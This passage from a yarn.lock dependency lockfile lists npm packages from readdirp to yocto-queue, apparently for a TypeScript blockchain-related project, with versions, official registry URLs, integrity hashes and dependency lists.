1221 | integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
1222 | dependencies:
1223 | safe-buffer "^5.1.0"
1224 |
1225 | readdirp@~3.6.0:
1226 | version "3.6.0"
1227 | resolved "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz"
1228 | integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==
1229 | dependencies:
1230 | picomatch "^2.2.1"
1231 |
1232 | regenerator-runtime@^0.13.4:
1233 | version "0.13.9"
1234 | resolved "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz"
1235 | integrity sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA==
1236 |
1237 | require-directory@^2.1.1:
1238 | version "2.1.1"
1239 | resolved "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz"
1240 | integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I=
1241 |
1242 | resolve@^1.22.0:
1243 | version "1.22.0"
1244 | resolved "https://registry.npmjs.org/resolve/-/resolve-1.22.0.tgz"
1245 | integrity sha512-Hhtrw0nLeSrFQ7phPp4OOcVjLPIeMnRlr5mcnVuMe7M/7eBn98A3hmFRLoFo3DLZkivSYwhRUJTyPyWAk56WLw==
1246 | dependencies:
1247 | is-core-module "^2.8.1"
1248 | path-parse "^1.0.7"
1249 | supports-preserve-symlinks-flag "^1.0.0"
1250 |
1251 | reusify@^1.0.4:
1252 | version "1.0.4"
1253 | resolved "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz"
1254 | integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
1255 |
1256 | rpc-websockets@^7.4.2:
1257 | version "7.4.18"
1258 | resolved "https://registry.npmjs.org/rpc-websockets/-/rpc-websockets-7.4.18.tgz"
1259 | integrity sha512-bVu+4qM5CkGVlTqJa6FaAxLbb5uRnyH4te7yjFvoCzbnif7PT4BcvXtNTprHlNvsH+/StB81zUQicxMrUrIomA==
1260 | dependencies:
1261 | "@babel/runtime" "^7.17.2"
1262 | eventemitter3 "^4.0.7"
1263 | uuid "^8.3.2"
1264 | ws "^8.5.0"
1265 | optionalDependencies:
1266 | bufferutil "^4.0.1"
1267 | utf-8-validate "^5.0.2"
1268 |
1269 | run-parallel@^1.1.9:
1270 | version "1.2.0"
1271 | resolved "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz"
1272 | integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==
1273 | dependencies:
1274 | queue-microtask "^1.2.2"
1275 |
1276 | safe-buffer@^5.0.1, safe-buffer@^5.1.0:
1277 | version "5.2.1"
1278 | resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz"
1279 | integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
1280 |
1281 | secp256k1@^4.0.2:
1282 | version "4.0.3"
1283 | resolved "https://registry.npmjs.org/secp256k1/-/secp256k1-4.0.3.tgz"
1284 | integrity sha512-NLZVf+ROMxwtEj3Xa562qgv2BK5e2WNmXPiOdVIPLgs6lyTzMvBq0aWTYMI5XCP9jZMVKOcqZLw/Wc4vDkuxhA==
1285 | dependencies:
1286 | elliptic "^6.5.4"
1287 | node-addon-api "^2.0.0"
1288 | node-gyp-build "^4.2.0"
1289 |
1290 | serialize-javascript@6.0.0:
1291 | version "6.0.0"
1292 | resolved "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz"
1293 | integrity sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==
1294 | dependencies:
1295 | randombytes "^2.1.0"
1296 |
1297 | snake-case@^3.0.4:
1298 | version "3.0.4"
1299 | resolved "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz"
1300 | integrity sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==
1301 | dependencies:
1302 | dot-case "^3.0.4"
1303 | tslib "^2.0.3"
1304 |
1305 | source-map-js@^1.0.2:
1306 | version "1.0.2"
1307 | resolved "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz"
1308 | integrity sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==
1309 |
1310 | source-map-support@^0.5.6:
1311 | version "0.5.21"
1312 | resolved "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz"
1313 | integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==
1314 | dependencies:
1315 | buffer-from "^1.0.0"
1316 | source-map "^0.6.0"
1317 |
1318 | source-map@^0.6.0:
1319 | version "0.6.1"
1320 | resolved "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz"
1321 | integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
1322 |
1323 | string-width@^4.1.0, string-width@^4.2.0:
1324 | version "4.2.3"
1325 | resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
1326 | integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
1327 | dependencies:
1328 | emoji-regex "^8.0.0"
1329 | is-fullwidth-code-point "^3.0.0"
1330 | strip-ansi "^6.0.1"
1331 |
1332 | strip-ansi@^6.0.0, strip-ansi@^6.0.1:
1333 | version "6.0.1"
1334 | resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
1335 | integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
1336 | dependencies:
1337 | ansi-regex "^5.0.1"
1338 |
1339 | strip-bom@^3.0.0:
1340 | version "3.0.0"
1341 | resolved "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz"
1342 | integrity sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=
1343 |
1344 | strip-json-comments@3.1.1:
1345 | version "3.1.1"
1346 | resolved "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz"
1347 | integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
1348 |
1349 | superstruct@^0.14.2:
1350 | version "0.14.2"
1351 | resolved "https://registry.npmjs.org/superstruct/-/superstruct-0.14.2.tgz"
1352 | integrity sha512-nPewA6m9mR3d6k7WkZ8N8zpTWfenFH3q9pA2PkuiZxINr9DKB2+40wEQf0ixn8VaGuJ78AB6iWOtStI+/4FKZQ==
1353 |
1354 | supports-color@8.1.1:
1355 | version "8.1.1"
1356 | resolved "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz"
1357 | integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==
1358 | dependencies:
1359 | has-flag "^4.0.0"
1360 |
1361 | supports-color@^7.1.0:
1362 | version "7.2.0"
1363 | resolved "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz"
1364 | integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
1365 | dependencies:
1366 | has-flag "^4.0.0"
1367 |
1368 | supports-preserve-symlinks-flag@^1.0.0:
1369 | version "1.0.0"
1370 | resolved "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz"
1371 | integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
1372 |
1373 | tailwindcss@^3.0.24:
1374 | version "3.0.24"
1375 | resolved "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.0.24.tgz"
1376 | integrity sha512-H3uMmZNWzG6aqmg9q07ZIRNIawoiEcNFKDfL+YzOPuPsXuDXxJxB9icqzLgdzKNwjG3SAro2h9SYav8ewXNgig==
1377 | dependencies:
1378 | arg "^5.0.1"
1379 | chokidar "^3.5.3"
1380 | color-name "^1.1.4"
1381 | detective "^5.2.0"
1382 | didyoumean "^1.2.2"
1383 | dlv "^1.1.3"
1384 | fast-glob "^3.2.11"
1385 | glob-parent "^6.0.2"
1386 | is-glob "^4.0.3"
1387 | lilconfig "^2.0.5"
1388 | normalize-path "^3.0.0"
1389 | object-hash "^3.0.0"
1390 | picocolors "^1.0.0"
1391 | postcss "^8.4.12"
1392 | postcss-js "^4.0.0"
1393 | postcss-load-config "^3.1.4"
1394 | postcss-nested "5.0.6"
1395 | postcss-selector-parser "^6.0.10"
1396 | postcss-value-parser "^4.2.0"
1397 | quick-lru "^5.1.1"
1398 | resolve "^1.22.0"
1399 |
1400 | text-encoding-utf-8@^1.0.2:
1401 | version "1.0.2"
1402 | resolved "https://registry.npmjs.org/text-encoding-utf-8/-/text-encoding-utf-8-1.0.2.tgz"
1403 | integrity sha512-8bw4MY9WjdsD2aMtO0OzOCY3pXGYNx2d2FfHRVUKkiCPDWjKuOlhLVASS+pD7VkLTVjW268LYJHwsnPFlBpbAg==
1404 |
1405 | "through@>=2.2.7 <3":
1406 | version "2.3.8"
1407 | resolved "https://registry.npmjs.org/through/-/through-2.3.8.tgz"
1408 | integrity sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=
1409 |
1410 | to-regex-range@^5.0.1:
1411 | version "5.0.1"
1412 | resolved "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz"
1413 | integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
1414 | dependencies:
1415 | is-number "^7.0.0"
1416 |
1417 | toml@^3.0.0:
1418 | version "3.0.0"
1419 | resolved "https://registry.npmjs.org/toml/-/toml-3.0.0.tgz"
1420 | integrity sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==
1421 |
1422 | tr46@~0.0.3:
1423 | version "0.0.3"
1424 | resolved "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz"
1425 | integrity sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o=
1426 |
1427 | ts-mocha@^10.0.0:
1428 | version "10.0.0"
1429 | resolved "https://registry.npmjs.org/ts-mocha/-/ts-mocha-10.0.0.tgz#41a8d099ac90dbbc64b06976c5025ffaebc53cb9"
1430 | integrity sha512-VRfgDO+iiuJFlNB18tzOfypJ21xn2xbuZyDvJvqpTbWgkAgD17ONGr8t+Tl8rcBtOBdjXp5e/Rk+d39f7XBHRw==
1431 | dependencies:
1432 | ts-node "7.0.1"
1433 | optionalDependencies:
1434 | tsconfig-paths "^3.5.0"
1435 |
1436 | ts-node@7.0.1:
1437 | version "7.0.1"
1438 | resolved "https://registry.npmjs.org/ts-node/-/ts-node-7.0.1.tgz"
1439 | integrity sha512-BVwVbPJRspzNh2yfslyT1PSbl5uIk03EZlb493RKHN4qej/D06n1cEhjlOJG69oFsE7OT8XjpTUcYf6pKTLMhw==
1440 | dependencies:
1441 | arrify "^1.0.0"
1442 | buffer-from "^1.1.0"
1443 | diff "^3.1.0"
1444 | make-error "^1.1.1"
1445 | minimist "^1.2.0"
1446 | mkdirp "^0.5.1"
1447 | source-map-support "^0.5.6"
1448 | yn "^2.0.0"
1449 |
1450 | tsconfig-paths@^3.5.0:
1451 | version "3.14.1"
1452 | resolved "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.1.tgz"
1453 | integrity sha512-fxDhWnFSLt3VuTwtvJt5fpwxBHg5AdKWMsgcPOOIilyjymcYVZoCQF8fvFRezCNfblEXmi+PcM1eYHeOAgXCOQ==
1454 | dependencies:
1455 | "@types/json5" "^0.0.29"
1456 | json5 "^1.0.1"
1457 | minimist "^1.2.6"
1458 | strip-bom "^3.0.0"
1459 |
1460 | tslib@^2.0.3:
1461 | version "2.4.0"
1462 | resolved "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz"
1463 | integrity sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==
1464 |
1465 | tweetnacl@^1.0.0:
1466 | version "1.0.3"
1467 | resolved "https://registry.npmjs.org/tweetnacl/-/tweetnacl-1.0.3.tgz"
1468 | integrity sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw==
1469 |
1470 | type-detect@^4.0.0, type-detect@^4.0.5:
1471 | version "4.0.8"
1472 | resolved "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz"
1473 | integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==
1474 |
1475 | typescript@^4.3.5:
1476 | version "4.7.2"
1477 | resolved "https://registry.npmjs.org/typescript/-/typescript-4.7.2.tgz"
1478 | integrity sha512-Mamb1iX2FDUpcTRzltPxgWMKy3fhg0TN378ylbktPGPK/99KbDtMQ4W1hwgsbPAsG3a0xKa1vmw4VKZQbkvz5A==
1479 |
1480 | utf-8-validate@^5.0.2:
1481 | version "5.0.9"
1482 | resolved "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.9.tgz"
1483 | integrity sha512-Yek7dAy0v3Kl0orwMlvi7TPtiCNrdfHNd7Gcc/pLq4BLXqfAmd0J7OWMizUQnTTJsyjKn02mU7anqwfmUP4J8Q==
1484 | dependencies:
1485 | node-gyp-build "^4.3.0"
1486 |
1487 | util-deprecate@^1.0.2:
1488 | version "1.0.2"
1489 | resolved "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz"
1490 | integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
1491 |
1492 | uuid@^8.3.2:
1493 | version "8.3.2"
1494 | resolved "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz"
1495 | integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==
1496 |
1497 | webidl-conversions@^3.0.0:
1498 | version "3.0.1"
1499 | resolved "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz"
1500 | integrity sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE=
1501 |
1502 | whatwg-url@^5.0.0:
1503 | version "5.0.0"
1504 | resolved "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz"
1505 | integrity sha1-lmRU6HZUYuN2RNNib2dCzotwll0=
1506 | dependencies:
1507 | tr46 "~0.0.3"
1508 | webidl-conversions "^3.0.0"
1509 |
1510 | which@2.0.2:
1511 | version "2.0.2"
1512 | resolved "https://registry.npmjs.org/which/-/which-2.0.2.tgz"
1513 | integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
1514 | dependencies:
1515 | isexe "^2.0.0"
1516 |
1517 | workerpool@6.2.0:
1518 | version "6.2.0"
1519 | resolved "https://registry.npmjs.org/workerpool/-/workerpool-6.2.0.tgz"
1520 | integrity sha512-Rsk5qQHJ9eowMH28Jwhe8HEbmdYDX4lwoMWshiCXugjtHqMD9ZbiqSDLxcsfdqsETPzVUtX5s1Z5kStiIM6l4A==
1521 |
1522 | wrap-ansi@^7.0.0:
1523 | version "7.0.0"
1524 | resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
1525 | integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
1526 | dependencies:
1527 | ansi-styles "^4.0.0"
1528 | string-width "^4.1.0"
1529 | strip-ansi "^6.0.0"
1530 |
1531 | wrappy@1:
1532 | version "1.0.2"
1533 | resolved "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz"
1534 | integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
1535 |
1536 | ws@^7.4.5:
1537 | version "7.5.8"
1538 | resolved "https://registry.npmjs.org/ws/-/ws-7.5.8.tgz"
1539 | integrity sha512-ri1Id1WinAX5Jqn9HejiGb8crfRio0Qgu8+MtL36rlTA6RLsMdWt1Az/19A2Qij6uSHUMphEFaTKa4WG+UNHNw==
1540 |
1541 | ws@^8.5.0:
1542 | version "8.7.0"
1543 | resolved "https://registry.npmjs.org/ws/-/ws-8.7.0.tgz"
1544 | integrity sha512-c2gsP0PRwcLFzUiA8Mkr37/MI7ilIlHQxaEAtd0uNMbVMoy8puJyafRlm0bV9MbGSabUPeLrRRaqIBcFcA2Pqg==
1545 |
1546 | xtend@^4.0.2:
1547 | version "4.0.2"
1548 | resolved "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz"
1549 | integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==
1550 |
1551 | y18n@^5.0.5:
1552 | version "5.0.8"
1553 | resolved "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz"
1554 | integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==
1555 |
1556 | yaml@^1.10.2:
1557 | version "1.10.2"
1558 | resolved "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz"
1559 | integrity sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==
1560 |
1561 | yargs-parser@20.2.4:
1562 | version "20.2.4"
1563 | resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz"
1564 | integrity sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==
1565 |
1566 | yargs-parser@^20.2.2:
1567 | version "20.2.9"
1568 | resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz"
1569 | integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==
1570 |
1571 | yargs-unparser@2.0.0:
1572 | version "2.0.0"
1573 | resolved "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz"
1574 | integrity sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==
1575 | dependencies:
1576 | camelcase "^6.0.0"
1577 | decamelize "^4.0.0"
1578 | flat "^5.0.2"
1579 | is-plain-obj "^2.1.0"
1580 |
1581 | yargs@16.2.0:
1582 | version "16.2.0"
1583 | resolved "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz"
1584 | integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==
1585 | dependencies:
1586 | cliui "^7.0.2"
1587 | escalade "^3.1.1"
1588 | get-caller-file "^2.0.5"
1589 | require-directory "^2.1.1"
1590 | string-width "^4.2.0"
1591 | y18n "^5.0.5"
1592 | yargs-parser "^20.2.2"
1593 |
1594 | yn@^2.0.0:
1595 | version "2.0.0"
1596 | resolved "https://registry.npmjs.org/yn/-/yn-2.0.0.tgz"
1597 | integrity sha1-5a2ryKz0CPY4X8dklWhMiOavaJo=
1598 |
1599 | yocto-queue@^0.1.0:
1600 | version "0.1.0"
1601 | resolved "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz"
1602 | integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
1603 |
--------------------------------------------------------------------------------